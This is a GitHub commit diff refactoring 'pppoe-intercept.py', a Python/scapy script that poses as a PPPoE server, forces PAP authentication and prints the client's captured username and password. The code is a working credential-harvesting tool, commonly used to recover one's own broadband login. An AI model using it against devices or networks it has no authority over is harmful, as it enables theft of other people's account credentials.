Skip to content

Commit 2310ef9

Browse files
committed
🎨 改进代码格式
1 parent 0515cb4 commit 2310ef9

File tree

2 files changed

+30
-52
lines changed

2 files changed

+30
-52
lines changed

.gitignore

+2-1
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,3 @@
11
build/
2-
dist/
2+
dist/
3+
*.spec

pppoe-intercept.py

+28-51
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,10 @@
1919
# 会话 id,可自定义
2020
SESSION_ID = 0x0005
2121

22+
# LCP Options Type
23+
TYPE_MAX_RECEIVE_UNIT = 0x01
24+
TYPE_MAGIC_NUM = 0x05
25+
2226

2327
# 获取一个随机的 mac 地址
2428
def get_mac_address():
@@ -48,7 +52,6 @@ class PPPoEServer(object):
4852

4953
def __init__(self):
5054
self.ipaddr_bytes = get_host_ip_bytes()
51-
self.clientMap = {}
5255
self.magic_num = b'\x25\x5f\xc5\xcb'
5356
self.username = None
5457
self.password = None
@@ -74,7 +77,7 @@ def filterData(self, pkt):
7477
0x8864:{
7578
"proto":{
7679
# LCP 链路处理
77-
0xc021: self.send_lcp,
80+
0xc021: self.handle_lcp,
7881
# PAP 协议处理
7982
0xc023: self.handle_pap,
8083
# IPCP 协议处理
@@ -91,48 +94,37 @@ def filterData(self, pkt):
9194
handle_func(pkt)
9295

9396
#处理 PPP LCP 请求
94-
def send_lcp(self, pkt):
95-
# 初始化 clientMap
96-
if not self.clientMap.get(pkt.src):
97-
print("----------会话阶段----------")
98-
self.clientMap[pkt.src] = {"req": 0, "ack": 0}
99-
97+
def handle_lcp(self, pkt):
10098
# 处理 LCP-Configuration-Req 请求
10199
if bytes(pkt.payload)[8] == 0x01:
102-
# 第一次 LCP-Configuration-Req 请求返回 Rej 响应包
103-
if self.clientMap[pkt.src]['req'] == 0:
104-
self.clientMap[pkt.src]['req'] += 1
105-
print("第 %d 次收到LCP-Config-Req" % self.clientMap[pkt.src]["req"])
106-
print("处理Req请求,发送LCP-Config-Rej包")
100+
print("收到 LCP-Config-Req")
101+
# 当 Req 请求里面包含除 MRU 和魔术数以及 AuthProto 之外的字段时,返回 Rej
102+
if len(pkt.payload.options) > 3:
103+
print("发送 LCP-Config-Rej 包")
107104
self.send_lcp_reject_packet(pkt)
108-
print("发送LCP-Config-Req包")
105+
print("发送 LCP-Config-Req 包")
109106
self.send_lcp_req_packet(pkt)
110-
# 后面的 LCP-Configuration-Req 请求均返回 Ack 响应包
111107
else:
112-
self.clientMap[pkt.src]['req'] += 1
113-
print("第 %d 次收到LCP-Config-Req" % self.clientMap[pkt.src]["req"])
114-
print("处理Req请求,发送LCP-Config-Ack包")
108+
print("发送 LCP-Config-Ack 包")
115109
self.send_lcp_ack_packet(pkt)
116-
117110
# 处理 LCP-Configuration-Rej 请求
118111
elif bytes(pkt.payload)[8] == 0x04:
119-
print("处理Rej请求,发送LCP-Config-Req包")
112+
print("收到 LCP-Config-Rej")
113+
print("发送 LCP-Config-Req 包")
120114
self.send_lcp_req_packet(pkt)
121-
122115
# 处理 LCP-Configuration-Ack 请求
123116
elif bytes(pkt.payload)[8] == 0x02:
124-
self.clientMap[pkt.src]['ack'] += 1
125-
print("第 %d 次收到LCP-Config-Ack" % self.clientMap[pkt.src]["ack"])
117+
print("收到 LCP-Config-Ack")
126118
else:
127119
pass
128120

129121
# IPCP 协议处理
130122
def handle_ipcp(self, pkt):
131123
payload = bytes(pkt.payload)
132-
# req 请求处理
124+
# 处理 IPCP-Configuration-Req 请求
133125
if payload[8] == 0x01:
134126
# 当 Req 请求的 options 有 ip dns 之外的字段,发送 rej
135-
if len(payload[12:]) != 18:
127+
if len(pkt.payload.options) > 3:
136128
self.send_ipcp_rej_packet(pkt)
137129
# 当 Req 请求的 ip 以 0 开头时(0.0.0.0),发送 nak 开始分配 ip
138130
elif payload[14] == 0x00:
@@ -151,26 +143,6 @@ def send_ipcp_rej_packet(self, pkt):
151143
_payload = struct.pack('!BBH', code, identifier, length) + options
152144
_pkt = Ether(src=pkt.dst, dst=pkt.src, type=0x8864) / PPPoED(version=1, type=1, code=0x00, sessionid=SESSION_ID) / PPP(proto=0x8021) / _payload
153145
scapy.sendp(_pkt)
154-
155-
# 静态分配发送 IPCP-Configuration-Req
156-
def send_ipcp_req_static_packet(self, pkt):
157-
code = 0x01
158-
identifier = 0x01
159-
options = bytes(pkt.payload)[12:]
160-
ipcp_len = len(options) + 4
161-
_payload = struct.pack('!BBH', code, identifier, ipcp_len) + options
162-
_pkt = Ether(src=pkt.dst, dst=pkt.src, type=0x8864) / PPPoED(version=1, type=1, code=0x00, sessionid=SESSION_ID) / PPP(proto=0x8021) / _payload
163-
scapy.sendp(_pkt)
164-
165-
# 动态分配发送 IPCP-Configuration-Req
166-
def send_ipcp_req_dynamic_packet(self, pkt):
167-
code = 0x01
168-
identifier = 0x01
169-
options = b'\x03\x06' + self.ipaddr_bytes[:2] + b'\x01\x01'
170-
ipcp_len = len(options) + 4
171-
_payload = struct.pack('!BBH', code, identifier, ipcp_len) + options
172-
_pkt = Ether(src=pkt.dst, dst=pkt.src, type=0x8864) / PPPoED(version=1, type=1, code=0x00, sessionid=SESSION_ID) / PPP(proto=0x8021) / _payload
173-
scapy.sendp(_pkt)
174146

175147
# 发送 IPCP-Configuration-Nak 准备分配 ip
176148
def send_ipcp_nak_packet(self, pkt):
@@ -205,11 +177,11 @@ def handle_pap(self, pkt):
205177
self.username = _userName.decode('utf-8')
206178
self.password = _passWord.decode('utf-8')
207179
print("账户: %s\n密码: %s" % (self.username, self.password))
180+
# 拒绝认证
208181
#self.send_pap_authreject(pkt)
209182
#self.send_lcp_end_packet(pkt)
183+
# 通过认证
210184
self.send_pap_authack(pkt)
211-
if pkt.src in self.clientMap:
212-
del self.clientMap[pkt.src]
213185

214186
print("欺骗完毕....")
215187

@@ -246,11 +218,16 @@ def send_lcp_reject_packet(self, pkt):
246218
_pkt = Ether(src=pkt.dst, dst=pkt.src, type=0x8864) / PPPoED(version=1, type=1, code=0x00, sessionid=SESSION_ID) / PPP(proto=0xc021) / _payload
247219
scapy.sendp(_pkt)
248220

249-
#发送lcp-config-req回执包
221+
#发送 lcp-config-req 请求
250222
def send_lcp_req_packet(self, pkt):
251-
# 服务端声明使用PAP认证
252-
auth_proto = b'\x01\x04\x05\xd4\x03\x04\xc0\x23\x05\x06\x5e\x63\x0a\xb8'
253-
_payload = b'\x01\x01\x00\x12' + auth_proto
223+
code = 0x01
224+
identifier = 0x01
225+
_opt_MRU = b'\x01\x04\x05\xd4'
226+
_opt_auth_proto = b'\x03\x04\xc0\x23' # 服务端声明使用PAP认证
227+
_opt_magic_num = b'\x05\x06\x5e\x63\x0a\xb8'
228+
options = _opt_MRU + _opt_auth_proto + _opt_magic_num
229+
length = len(options) + 4
230+
_payload = struct.pack('!BBH', code, identifier, length) + options
254231
_pkt = Ether(src=pkt.dst, dst=pkt.src, type=0x8864) / PPPoED(version=1, type=1, code=0x00, sessionid=SESSION_ID) / PPP(proto=0xc021) / _payload
255232
scapy.sendp(_pkt)
256233

0 commit comments

Comments
 (0)